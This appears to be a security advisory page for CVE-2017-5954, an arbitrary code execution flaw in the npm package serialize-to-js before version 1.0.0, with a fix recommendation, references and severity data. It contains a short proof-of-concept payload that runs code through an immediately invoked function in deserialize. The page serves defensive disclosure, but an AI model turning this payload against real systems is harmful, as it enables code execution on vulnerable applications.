Code Execution Through IIFE in serialize-to-js
Affected versions of serialize-to-js may be vulnerable to arbitrary code execution through an Immediately Invoked Function Expression (IIFE).
Proof of Concept
var payload = "{e: (function(){ eval('console.log(`exploited`)') })() }"
var serialize = require('serialize-to-js');
serialize.deserialize(payload);
Recommendation
Update to version 1.0.0, or later, and review this disclaimer from the author.
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | serialize-to-js | < 1.0.0 | 1.0.0 |
References
- https://nvd.nist.gov/vuln/detail/CVE-2017-5954
- https://github.com/commenthol/serialize-to-js/issues/1
- https://github.com/commenthol/serialize-to-js/commit/1cd433960e5b9db4c0b537afb28366198a319429
- https://github.com/advisories/GHSA-mm62-wxc8-cf7m
- https://github.com/commenthol/serialize-to-js
- https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution
- https://www.npmjs.com/advisories/313
- https://www.npmjs.com/package/serialize-to-js#deserialize
- http://www.securityfocus.com/bid/96223
- CVSS vector
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H- Weakness (CWE)
CWE-502- Platform
- npm
- Package
serialize-to-js- Disclosed
- 18.07.2018
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-mm62-wxc8-cf7m - CC BY 4.0
Vulnerability history: serialize-to-js
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 3
- First → latest
- 07.2018 09.2020
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- Critical 1
- High 1
- Low 1
Disclosures per year
- 2018: 1
- 2019: 1
- 2020: 1
- 2021: 0
- 2022: 0
- 2023: 0
- 2024: 0
- 2025: 0
- 2026: 0
-
Code Execution Through IIFE in serialize-to-js this entry
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.